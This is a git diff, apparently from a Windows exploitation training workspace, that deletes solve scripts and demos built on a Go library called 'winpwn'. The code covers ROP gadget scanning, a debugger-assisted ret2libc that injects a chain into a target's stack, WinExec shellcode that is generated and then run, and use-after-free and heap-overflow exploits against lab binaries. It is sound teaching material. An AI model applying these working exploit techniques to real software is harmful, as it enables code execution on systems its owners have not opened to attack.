checksec, section -// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP -// gadget scanner. Run from: workspace/demos/pe_multitool -> go run . -package main - -import ( - "fmt" - "log" - "winpwn" -) - -const target = "simple_rop.exe"; - -func main() { - pe, err := winpwn.OpenPE(target) - if err != nil { - log.Fatalf("OpenPE: %v", err) - } - defer pe.Close() - - is64, _ := pe.Is64Bit() - base, _ := pe.ImageBase() - entry, _ := pe.EntryPoint() - fmt.Printf("=== %s ===\n", target) - fmt.Printf("64-bit: %v ImageBase: 0x%X EntryPoint: 0x%X\n\n", is64, base, entry) - - // --- checksec --- - cs, err := pe.Checksec() - if err != nil { - log.Fatalf("Checksec: %v", err) - } - fmt.Println("--- checksec ---") - fmt.Printf("ASLR (DYNAMIC_BASE): %v\n", cs.ASLR) - fmt.Printf("High-Entropy VA: %v\n", cs.HighEntropyVA) - fmt.Printf("DEP (NX_COMPAT): %v\n", cs.DEP) - fmt.Printf("CFG: %v\n", cs.CFG) - if cs.SEHApplicable { - fmt.Printf("SafeSEH: %v\n", cs.SafeSEH) - } else { - fmt.Println("SafeSEH: n/a (x64 uses table-based SEH)") - } - fmt.Printf("GS cookie (heuristic): %v\n", cs.GSHeuristic) - fmt.Printf("Authenticode present: %v\n", cs.AuthenticodeSigned) - fmt.Println() - - // --- section entropy / packing --- - fmt.Println("--- sections ---") - for _, sec := range pe.Sections() { - entropy, _ := sec.Entropy() - fmt.Printf("%-10s R=%v W=%v X=%v entropy=%.2f\n", - sec.Name, sec.IsReadable(), sec.IsWritable(), sec.IsExecutable(), entropy) - } - fmt.Println() - - // --- IAT: what does this binary already pull in? --- - fmt.Println("--- interesting imports ---") - for _, name := range []string{"VirtualProtect", "VirtualAlloc", "LoadLibraryA", "GetProcAddress", "CreateFileA"} { - imp, err := pe.FindImport(name) - if err != nil { - fmt.Printf("%-16s not imported\n", name) - continue - } - fmt.Printf("%-16s %s!%s IAT RVA=0x%X\n", name, imp.DLL, imp.Name, imp.IATRVA) - } - fmt.Println() - - // --- EAT: does this binary export anything (e.g. a win() for ROP)? --- - exports, err := pe.ListExports() - if err == nil { - fmt.Printf("--- exports (%d) ---\n", len(exports)) - for _, e := range exports { - if e.ForwardTarget != "" { - dll, fn := winpwn.ParseForwardTarget(e.ForwardTarget) - fmt.Printf("%s -> forwards to %s!%s\n", e.Name, dll, fn) - } else { - fmt.Printf("%s RVA=0x%X\n", e.Name, e.RVA) - } - } - fmt.Println() - } - - rop, err := winpwn.NewROP(target) - if err != nil { - log.Fatalf("NewROP: %v", err) - } - defer rop.Close() - - fmt.Println("--- gadgets ---") - if g, err := rop.Search("pop rcx ; ret"); err == nil { - fmt.Printf("pop rcx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) - if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { - fmt.Printf(" verified: %v\n", lines) - } - } - if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil { - fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address) - } -} diff --git a/workspace/bof_basic/simple_rop.exe b/workspace/bof_basic/simple_rop.exe deleted file mode 100644 index 37a6ad0..0000000 Binary files a/workspace/bof_basic/simple_rop.exe and /dev/null differ diff --git a/workspace/bof_basic/solve.c b/workspace/bof_basic/solve.c deleted file mode 100644 index adb50c5..0000000 --- a/workspace/bof_basic/solve.c +++ /dev/null @@ -1,67 +0,0 @@ -#include -#include - -int main() -{ - - char payload[] = { - "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" - "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" - "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" - "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" - "\xF8\x0E\x7E\x77" - }; - - char commandLine[] = "bof.exe "; - - size_t neededSize = strlen(commandLine) + strlen(payload) + 1; - - char* fin = (char*)malloc(neededSize); - - snprintf(fin, neededSize, "%s%s", commandLine, payload); - - STARTUPINFOA si; - PROCESS_INFORMATION pi; - - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); - - BOOL success = CreateProcessA( - NULL, // Имя модуля (используем командную строку) - fin, // Командная строка (включая аргументы) - NULL, // Атрибуты безопасности процесса - NULL, // Атрибуты безопасности потока - FALSE, // Наследование дескрипторов - 0, //CREATE_SUSPENDED, // КРИТИЧЕСКИЙ ФЛАГ, сразу либо зависнет - NULL, // Окружение - NULL, // Текущий каталог - &si, // Указатель на STARTUPINFO - &pi // Указатель на PROCESS_INFORMATION - ); - -/* if (!success) { - printf("[FAIL] Не удалось создать процесс. Ошибка: %lu\n", GetLastError()); - return 1; - } - - printf("[SUCCESS] Процесс запущен! PID: %lu\n", pi.dwProcessId); - printf("[*] Сейчас самое время подключиться дебаггером (WinDbg/x64dbg) к PID %lu\n", pi.dwProcessId); - - - printf("Нажми ENTER, чтобы возобновить поток и отправить инпут...\n"); - getchar(); - - // Оживляем главный поток процесса - printf("[*] Возобновление потока...\n"); - ResumeThread(pi.hThread); -*/ - // Закрываем дескрипторы (они больше не нужны нашему лоадеру) - - - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - - free(fin); - return 0; -} diff --git a/workspace/bof_basic/solve.exe b/workspace/bof_basic/solve.exe deleted file mode 100644 index 3fcf41a..0000000 Binary files a/workspace/bof_basic/solve.exe and /dev/null differ diff --git a/workspace/bof_basic/solve_ret2libc.c b/workspace/bof_basic/solve_ret2libc.c deleted file mode 100644 index 358eecc..0000000 --- a/workspace/bof_basic/solve_ret2libc.c +++ /dev/null @@ -1,139 +0,0 @@ -// Debugger-assisted ret2libc for bof_noASLR_noCANARY.exe (x86-64, DEP always on for x64). -// -// copy() does strcpy(buffer, argv[1]); a plain strcpy-delivered payload can carry -// at most ONE 8-byte pointer (every usermode x64 address has a null top byte, and -// strcpy stops at the first \0). We need 3 pointers (two ntdll gadgets + WinExec), -// so instead we launch the target as our own debuggee, let the harmless placeholder -// argv[1] overflow the saved return address as usual, then - right before the `ret` -// in copy() executes - patch the stack ourselves via WriteProcessMemory, which has -// no null-byte restriction at all. -// -// Stack layout written at BUF_ADDR (buffer's address, fixed since ASLR is off): -// [0..7] "calc.exe" -// [8] 0x00 -// [56..63] &(pop rcx; ret) <- overwritten saved return address -// [64..71] BUF_ADDR <- popped into RCX (&"calc.exe") -// [72..79] &(pop rdx; pop r11; ret) -// [80..87] 1 <- popped into RDX (SW_SHOWNORMAL) -// [88..95] 0 <- popped into R11 (unused) -// [96..103]&WinExec <- final ret target - -#include -#include -#include - -#define TARGET_EXE "bof_noASLR_noCANARY.exe" -#define RET_INSN_ADDR ((LPVOID)(ULONG_PTR)0x000000014000729dULL) -#define BUF_ADDR ((ULONG_PTR)0x0000000000014fe80ULL) -#define RET_OFFSET 56 - -// RVAs inside ntdll.dll (constant across reboots; only ntdll's load base moves) -#define POP_RCX_RET_RVA 0x1a853 -#define POP_RDX_POP_R11_RET_RVA 0x8cc27 - -int main(void) { - char placeholder[71]; - memset(placeholder, 'A', 70); - placeholder[70] = '\0'; - - char cmdline[256]; - snprintf(cmdline, sizeof(cmdline), "%s %s", TARGET_EXE, placeholder); - - STARTUPINFOA si; - PROCESS_INFORMATION pi; - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); - - if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE, - DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) { - printf("[-] CreateProcess failed: %lu\n", GetLastError()); - return 1; - } - - HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); - HMODULE hK32 = GetModuleHandleA("kernel32.dll"); - if (!hNtdll || !hK32) { - printf("[-] failed to resolve module handles\n"); - return 1; - } - - ULONG_PTR ntdllBase = (ULONG_PTR)hNtdll; - ULONG_PTR popRcxRet = ntdllBase + POP_RCX_RET_RVA; - ULONG_PTR popRdxR11Ret = ntdllBase + POP_RDX_POP_R11_RET_RVA; - ULONG_PTR winExec = (ULONG_PTR)GetProcAddress(hK32, "WinExec"); - - printf("[*] ntdll base: 0x%p\n", (void*)ntdllBase); - printf("[*] pop rcx;ret: 0x%p\n", (void*)popRcxRet); - printf("[*] pop rdx;r11;ret: 0x%p\n", (void*)popRdxR11Ret); - printf("[*] WinExec: 0x%p\n", (void*)winExec); - - BYTE origByte = 0; - SIZE_T bytesIO; - BOOL patched = FALSE; - DEBUG_EVENT dbg; - - while (WaitForDebugEvent(&dbg, INFINITE)) { - DWORD contStatus = DBG_CONTINUE; - - if (dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) { - ReadProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO); - BYTE int3 = 0xCC; - WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &int3, 1, &bytesIO); - FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1); - if (dbg.u.CreateProcessInfo.hFile) CloseHandle(dbg.u.CreateProcessInfo.hFile); - } - else if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) { - EXCEPTION_RECORD *er = &dbg.u.Exception.ExceptionRecord; - - if (!patched && er->ExceptionCode == EXCEPTION_BREAKPOINT && - er->ExceptionAddress == RET_INSN_ADDR) { - - patched = TRUE; - printf("[+] hit breakpoint at copy()'s ret, patching stack...\n"); - - WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO); - FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1); - - CONTEXT ctx; - memset(&ctx, 0, sizeof(ctx)); - ctx.ContextFlags = CONTEXT_ALL; - GetThreadContext(pi.hThread, &ctx); - ctx.Rip = (DWORD64)(ULONG_PTR)RET_INSN_ADDR; - SetThreadContext(pi.hThread, &ctx); - - const char *cmd = "notepad.exe"; - BYTE chain[104]; - memset(chain, 0, sizeof(chain)); - memcpy(chain, cmd, strlen(cmd) + 1); - - ULONG_PTR *p = (ULONG_PTR*)(chain + RET_OFFSET); - p[0] = popRcxRet; - p[1] = BUF_ADDR; - p[2] = popRdxR11Ret; - p[3] = 1; - p[4] = 0; - p[5] = winExec; - - WriteProcessMemory(pi.hProcess, (LPVOID)BUF_ADDR, chain, sizeof(chain), &bytesIO); - FlushInstructionCache(pi.hProcess, (LPVOID)BUF_ADDR, sizeof(chain)); - - printf("[+] chain injected (%zu bytes written), resuming...\n", (size_t)bytesIO); - ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE); - continue; - } - } - else if (dbg.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) { - printf("[*] target exited, code=%lu\n", dbg.u.ExitProcess.dwExitCode); - ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE); - break; - } - - ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, contStatus); - } - - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - Sleep(2000); // give WinExec's spawned child a moment to finish before we (and our job tree) exit - return 0; -} diff --git a/workspace/bof_basic/solve_ret2libc.exe b/workspace/bof_basic/solve_ret2libc.exe deleted file mode 100644 index 641dcf6..0000000 Binary files a/workspace/bof_basic/solve_ret2libc.exe and /dev/null differ diff --git a/workspace/bof_basic/vc140.pdb b/workspace/bof_basic/vc140.pdb deleted file mode 100644 index b822622..0000000 Binary files a/workspace/bof_basic/vc140.pdb and /dev/null differ diff --git a/workspace/demos/leak_msvcrt/bof_win.c.exe b/workspace/demos/leak_msvcrt/bof_win.c.exe deleted file mode 100644 index caf6594..0000000 Binary files a/workspace/demos/leak_msvcrt/bof_win.c.exe and /dev/null differ diff --git a/workspace/demos/leak_msvcrt/main.go b/workspace/demos/leak_msvcrt/main.go deleted file mode 100644 index e1aa963..0000000 --- a/workspace/demos/leak_msvcrt/main.go +++ /dev/null @@ -1,85 +0,0 @@ -package main - -import ( - "bytes" - "fmt" - "log" - "winpwn" -) - -func main() { - - pe, err := winpwn.OpenPE("./bof_win.c.exe") - - if err == nil { - defer pe.Close() - } - - msvcrt, err := winpwn.OpenPE("C:\\Windows\\System32\\msvcrt.dll") - if err != nil { - log.Fatalf("Failed to open DLL: %v", err) - } - defer msvcrt.Close() - - // 2. Ищем функцию system (аналог libc.symbols['system']) - systemRVA, err := msvcrt.GetProcAddress("system") - if err != nil { - log.Fatalf("system() not found") - } - log.Printf("[+] system() RVA: 0x%X", systemRVA) - - // 3. Ищем строку "cmd.exe\x00" (аналог next(libc.search(b'cmd.exe\x00'))) - cmdPattern := []byte("cmd.exe\x00") - cmdRVAs, err := msvcrt.SearchBytes(cmdPattern) - if err != nil { - log.Fatalf("String 'cmd.exe' not found") - } - log.Printf("[+] 'cmd.exe' RVA: 0x%X", cmdRVAs[0]) - - // ... Логика утечки (leak) базового адреса msvcrt.dll во время исполнения ... - var msvcrtBase uint64 = 0x7FF00000000 // Пример полученного адреса - - // 4. Вычисляем абсолютные адреса для ROP-цепочки - systemAddr := msvcrtBase + systemRVA - cmdStringAddr := msvcrtBase + cmdRVAs[0] - - log.Printf("[+] system() absolute address: 0x%X", systemAddr) - log.Printf("[+] 'cmd.exe' absolute address: 0x%X", cmdStringAddr) - - //------------------------------------ - rop, err := winpwn.NewROP("bof_win.c.exe") // native scanner, no rp++ needed - if err != nil { - log.Fatalf("rop init error : %v", err) - } - defer rop.Close() - - popRcx, err := rop.Search("pop rcx ; ret") - if err != nil { - log.Fatalf("Gadget not found") - } - - // Выводим первый найденный гаджет - fmt.Printf("[+] Found 'pop rcx; ret' at: 0x%X\n", popRcx[0].Address) - - // Интеграция в пейлоад - // payload = append(payload, winpwn.P64(popRcx[0].Address)...) - - payload := bytes.Repeat([]byte("a"), 128) - - p, err := winpwn.Spawn("bof_win.c.exe") - if err != nil { - log.Fatalf("Spawn: %v", err) - } - - if err := p.SendLineAfter([]byte("enter your data: \n"), payload); err != nil { - log.Fatalf("SendLineAfter: %v", err) - } - - p.Interactive() -} - -/*На что обратить внимание твоим участникам: - - Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора. - - Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */ diff --git a/workspace/demos/pe_multitool/gadgets.txt b/workspace/demos/pe_multitool/gadgets.txt deleted file mode 100644 index c9f1bb8..0000000 Binary files a/workspace/demos/pe_multitool/gadgets.txt and /dev/null differ diff --git a/workspace/demos/pe_multitool/main.go b/workspace/demos/pe_multitool/main.go deleted file mode 100644 index f9cba66..0000000 --- a/workspace/demos/pe_multitool/main.go +++ /dev/null @@ -1,115 +0,0 @@ -// pe_multitool tours the static-analysis side of winpwn: checksec, section -// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP -// gadget scanner. Run from: workspace/demos/pe_multitool -> go run . -package main - -import ( - "fmt" - "log" - "winpwn" -) -const target = "../../../../Users/lee/Desktop/win_sems/Seminar/2019_Winter_WinPwn/200108/Lab2/simple_rop.exe" -//const target = "../../../../Windows/System32/kernel32.dll" - -func main() { - pe, err := winpwn.OpenPE(target) - if err != nil { - log.Fatalf("OpenPE: %v", err) - } - defer pe.Close() - - is64, _ := pe.Is64Bit() - base, _ := pe.ImageBase() - entry, _ := pe.EntryPoint() - fmt.Printf("=== %s ===\n", target) - fmt.Printf("64-bit: %v ImageBase: 0x%X EntryPoint: 0x%X\n\n", is64, base, entry) - - // --- checksec --- - cs, err := pe.Checksec() - if err != nil { - log.Fatalf("Checksec: %v", err) - } - fmt.Println("--- checksec ---") - fmt.Printf("ASLR (DYNAMIC_BASE): %v\n", cs.ASLR) - fmt.Printf("High-Entropy VA: %v\n", cs.HighEntropyVA) - fmt.Printf("DEP (NX_COMPAT): %v\n", cs.DEP) - fmt.Printf("CFG: %v\n", cs.CFG) - if cs.SEHApplicable { - fmt.Printf("SafeSEH: %v\n", cs.SafeSEH) - } else { - fmt.Println("SafeSEH: n/a (x64 uses table-based SEH)") - } - fmt.Printf("GS cookie (heuristic): %v\n", cs.GSHeuristic) - fmt.Printf("Authenticode present: %v\n", cs.AuthenticodeSigned) - fmt.Println() - - // --- section entropy / packing --- - fmt.Println("--- sections ---") - for _, sec := range pe.Sections() { - entropy, _ := sec.Entropy() - fmt.Printf("%-10s R=%v W=%v X=%v entropy=%.2f\n", - sec.Name, sec.IsReadable(), sec.IsWritable(), sec.IsExecutable(), entropy) - } - fmt.Println() - - // --- IAT: what does this binary already pull in? --- - fmt.Println("--- interesting imports ---") - for _, name := range []string{"VirtualProtect", "VirtualAlloc", "LoadLibraryA", "GetProcAddress", "CreateFileA"} { - imp, err := pe.FindImport(name) - if err != nil { - fmt.Printf("%-16s not imported\n", name) - continue - } - fmt.Printf("%-16s %s!%s IAT RVA=0x%X\n", name, imp.DLL, imp.Name, imp.IATRVA) - } - fmt.Println() - - // --- EAT: does this binary export anything (e.g. a win() for ROP)? --- - exports, err := pe.ListExports() - if err == nil { - fmt.Printf("--- exports (%d) ---\n", len(exports)) - for _, e := range exports { - if e.ForwardTarget != "" { - dll, fn := winpwn.ParseForwardTarget(e.ForwardTarget) - fmt.Printf("%s -> forwards to %s!%s\n", e.Name, dll, fn) - } else { - fmt.Printf("%s RVA=0x%X\n", e.Name, e.RVA) - } - } - fmt.Println() - } - - // --- native ROP gadget scan, no rp++/Ropper required --- - rop, err := winpwn.NewROP(target) - if err != nil { - log.Fatalf("NewROP: %v", err) - } - defer rop.Close() - - fmt.Println("--- gadgets ---") - if g, err := rop.Search("pop ecx ; ret"); err == nil { - fmt.Printf("pop ecx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) - if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { - fmt.Printf(" verified: %v\n", lines) - } - } - - if g, err := rop.Search("pop eax ; ret"); err == nil { - fmt.Printf("pop eax ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) - if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { - fmt.Printf(" verified: %v\n", lines) - } - } - - if g, err := rop.Search("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret"); err == nil { - fmt.Printf("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) - if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { - fmt.Printf(" verified: %v\n", lines) - } - } - - if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil { - fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address) - } - -} diff --git a/workspace/demos/pe_multitool/simple_rop.go b/workspace/demos/pe_multitool/simple_rop.go deleted file mode 100644 index dfee5ed..0000000 --- a/workspace/demos/pe_multitool/simple_rop.go +++ /dev/null @@ -1,54 +0,0 @@ -// pe_multitool tours the static-analysis side of winpwn: checksec, section -// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP -// gadget scanner. Run from: workspace/demos/pe_multitool -> go run . -package main - -import ( - "fmt" - "log" - "winpwn" -) -//const target = "../../../../Users/lee/Desktop/win_sems/Seminar/2019_Winter_WinPwn/200108/Lab1/simple_rop.exe" -const target = "../../../../Windows/SysWOW64/kernel32.dll" - -func main() { - pe, err := winpwn.OpenPE(target) - if err != nil { - log.Fatalf("OpenPE: %v", err) - } - defer pe.Close() - - // --- native ROP gadget scan, no rp++/Ropper required --- - rop, err := winpwn.NewROP(target) - if err != nil { - log.Fatalf("NewROP: %v", err) - } - defer rop.Close() - - fmt.Println("--- gadgets ---") - if g, err := rop.Search("pop ecx ; ret"); err == nil { - fmt.Printf("pop ecx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) - if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { - fmt.Printf(" verified: %v\n", lines) - } - } - - if g, err := rop.Search("pop eax ; ret"); err == nil { - fmt.Printf("pop eax ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) - if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { - fmt.Printf(" verified: %v\n", lines) - } - } - - if g, err := rop.Search("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret"); err == nil { - fmt.Printf("mov dword ptr [ecx], eax ; mov eax, esi ; pop esi ; pop ebp ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) - if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { - fmt.Printf(" verified: %v\n", lines) - } - } - - if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil { - fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address) - } - -} diff --git a/workspace/demos/shellcraft_winexec/main.go b/workspace/demos/shellcraft_winexec/main.go deleted file mode 100644 index 3547b4c..0000000 --- a/workspace/demos/shellcraft_winexec/main.go +++ /dev/null @@ -1,26 +0,0 @@ -// shellcraft_winexec demonstrates winpwn's first shellcraft template: -// position-independent x64 shellcode that resolves kernel32 via the PEB -// (no leak/hardcoded base needed) and calls WinExec. Useful as the payload -// at the end of a ROP chain, or to drop directly into a hijacked function -// pointer / vtable entry. -package main - -import ( - "fmt" - "log" - "winpwn" -) - -func main() { - code, err := winpwn.ShellcodeWinExec("putty.exe") - if err != nil { - log.Fatal(err) - } - fmt.Printf("%d bytes of shellcode, ready to splice into a payload:\n%x\n", len(code), code) - - // Validating it actually runs (rather than just trusting the bytes) - // before landing it via a real exploit primitive: - if err := winpwn.ExecuteShellcode(code); err != nil { - log.Fatal(err) - } -} diff --git a/workspace/heap_info_leak/heap_info_leak.exe b/workspace/heap_info_leak/heap_info_leak.exe deleted file mode 100644 index 8a2408f..0000000 Binary files a/workspace/heap_info_leak/heap_info_leak.exe and /dev/null differ diff --git a/workspace/heap_lfh/heap_lfh.exe b/workspace/heap_lfh/heap_lfh.exe deleted file mode 100644 index 4c83da9..0000000 Binary files a/workspace/heap_lfh/heap_lfh.exe and /dev/null differ diff --git a/workspace/heap_lfh/main.go b/workspace/heap_lfh/main.go deleted file mode 100644 index 55214fd..0000000 --- a/workspace/heap_lfh/main.go +++ /dev/null @@ -1,165 +0,0 @@ -/* -Solve script for heap_lfh.exe (see src/heap_lfh.c): a use-after-free on a -real, explicitly-LFH-mode Windows heap (HeapCompatibilityInformation=2), -not a simulation. - -The grooming trick, found empirically while building this example (see -USAGE.md's "Walkthrough 3" for the full story): LFH only reuses a freed -slot quickly if it's freed from the *currently active* subsegment, which -in practice means the *most recently allocated* same-size object. Freeing -an early one can fail to come back for tens of thousands of attempts; -freeing the last one allocated reliably reuses within a handful of -allocations (1-16 in repeated empirical runs on this machine/OS build). - -So: allocate a few filler notes, allocate the victim note *last*, free it, -then spray 32-byte buffers (each containing a fake onPrint pointing at -win()) until the leaked address of a spray matches the victim's leaked -address -- then call P on the victim id. The spray/retry loop itself is -winpwn.SprayAndFind (spray.go), not hand-rolled here -- examples/heap_segment -needed the same shape (spray N times, look for a match against known -samples) for a structurally different relation, which is exactly the -"third copy-paste" signal that means it belongs in the library, not a -script. - -NOTE FOR TASK AUTHORS (not specific to this task -- read this before -designing your own heap challenge): every numeric "fact" this solve script -or its USAGE.md walkthrough states about LFH's behavior (attempt counts, -"most recently allocated reuses reliably") was measured empirically on one -specific Windows build/patch level, on one machine, today. LFH's internal -bucket layout, subsegment sizing, and reuse heuristics are NOT a stable -public contract -- they have changed across Windows versions before and can -again. If you reuse this technique on a different build (or even a -different machine), re-run the grooming experiment yourself (spray N, -free one, spray replacements, count attempts-to-reuse) before trusting any -specific number from this file or relying on "free the last one" as if it -were guaranteed forever. Treat every offset/heuristic in a heap task as -something to verify against *your actual target*, not something to copy -from someone else's writeup. -*/ -package main - -import ( - "bytes" - "fmt" - "log" - "strconv" - "strings" - "winpwn" -) - -// parseAddr extracts the "0x..." hex value following "addr=" in a line -// like "OK id=5 addr=0x0000000000aa08e0". -func parseAddr(line []byte) (uint64, error) { - idx := bytes.Index(line, []byte("addr=0x")) - if idx == -1 { - return 0, fmt.Errorf("no addr= in line %q", line) - } - hexPart := line[idx+len("addr=0x"):] - hexPart = bytes.TrimSpace(hexPart) - return strconv.ParseUint(string(hexPart), 16, 64) -} - -func main() { - pf, err := winpwn.OpenPE("heap_lfh.exe") - if err != nil { - log.Fatalf("OpenPE: %v", err) - } - winRVA, err := pf.GetProcAddress("win") - if err != nil { - log.Fatalf("win() not found: %v", err) - } - base, err := pf.ImageBase() - if err != nil { - log.Fatalf("ImageBase: %v", err) - } - winAddr := base + winRVA - pf.Close() - fmt.Printf("[+] win() address: 0x%X\n", winAddr) - - tube, err := winpwn.Spawn("heap_lfh.exe") - if err != nil { - log.Fatalf("Spawn: %v", err) - } - - if _, err := tube.RecvLine(); err != nil { // "heap_lfh ready" - log.Fatalf("RecvLine: %v", err) - } - - // A few filler notes (any of these could be freed and would NOT - // reliably come back quickly -- that's the empirical finding). - for i := 0; i < 5; i++ { - if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil { - log.Fatalf("SendLine: %v", err) - } - if _, err := tube.RecvLine(); err != nil { - log.Fatalf("RecvLine: %v", err) - } - } - - // The victim note: allocated *last*, so its slot belongs to the - // subsegment LFH is still actively issuing from. - if err := tube.SendLine([]byte("A victim")); err != nil { - log.Fatalf("SendLine: %v", err) - } - resp, err := tube.RecvLine() - if err != nil { - log.Fatalf("RecvLine: %v", err) - } - victimAddr, err := parseAddr(resp) - if err != nil { - log.Fatalf("parse victim addr: %v", err) - } - victimID := 5 - fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr) - - if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil { - log.Fatalf("SendLine: %v", err) - } - if _, err := tube.RecvLine(); err != nil { - log.Fatalf("RecvLine: %v", err) - } - - // Fake Note{ title[24], onPrint }: 24 bytes of filler (never read once - // onPrint is redirected) + win()'s address where onPrint lives. - payload := bytes.Repeat([]byte{0x41}, 24) - payload = append(payload, winpwn.P64(winAddr)...) - payloadHex := winpwn.Enhex(payload) - - // winpwn.SprayAndFind seeded with the one known target (the freed - // victim's leaked address): every spray attempt is checked against it, - // stopping the moment a replacement reuses that exact slot. - const maxAttempts = 64 - victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr} - _, _, attempts, ok, err := winpwn.SprayAndFind( - []winpwn.SprayResult[uint64]{victim}, - maxAttempts, - func(attempt int) (winpwn.SprayResult[uint64], error) { - if err := tube.SendLine([]byte("B " + payloadHex)); err != nil { - return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err) - } - resp, err := tube.RecvLine() - if err != nil { - return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err) - } - if !strings.HasPrefix(string(resp), "OK") { - return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp) - } - addr, err := parseAddr(resp) - return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err - }, - func(a, b uint64) bool { return a == b }, - ) - if err != nil { - log.Fatalf("spray: %v", err) - } - if !ok { - log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts) - } - fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts) - - if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil { - log.Fatalf("SendLine: %v", err) - } - - tube.Interactive() -} diff --git a/workspace/heap_overflow/heap_overflow.exe b/workspace/heap_overflow/heap_overflow.exe deleted file mode 100644 index e87544a..0000000 Binary files a/workspace/heap_overflow/heap_overflow.exe and /dev/null differ diff --git a/workspace/heap_overflow/main.go b/workspace/heap_overflow/main.go deleted file mode 100644 index efdb33e..0000000 --- a/workspace/heap_overflow/main.go +++ /dev/null @@ -1,127 +0,0 @@ -/* -Solve script for heap_overflow.exe: adjacent-chunk NT Heap overflow. - -Heap layout (both Notes allocated from the same private heap, no LFH): - - HEADER(16) note[0].buf[24] note[0].action(8) - HEADER(16) note[1].buf[24] note[1].action(8) - ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - Each HEADER is a 16-byte _HEAP_ENTRY, XOR-encoded against _HEAP.Encoding. - We overwrite it as part of the overflow, but since we never call HeapFree - on note[1] after the overflow (just directly call note[1]->action), the - corrupted header is never read back by the allocator. - -The W command writes hex-decoded bytes starting at note[id]->buf with NO -bounds check. Overflowing 72 bytes from note[0]->buf reaches note[1]->action: - - note[0]->buf [0..23] 24 bytes -- fill with padding - note[0]->action [24..31] 8 bytes -- overwrite (any value, not called) - note[1] HEADER [32..47] 16 bytes -- corrupted, doesn't matter (not freed) - note[1]->buf [48..71] 24 bytes -- overwrite (any value, not called via action) - note[1]->action [72..79] 8 bytes -- WIN: write win() address here - - Total: 80 bytes; win() address at bytes 72-79 (little-endian). - -After the overflow: C 1 calls note[1]->action(note[1]->buf) -> win(). - -win() address comes from PE export table (no ASLR to defeat -- or if running -remotely, parse from the provided binary the same way examples/heap_lfh does). - -NOTE FOR TASK AUTHORS: the key empirical invariant to verify is that notes[0] -and notes[1] are actually adjacent with no free chunk between them. With -exactly two 32-byte allocations and a fresh 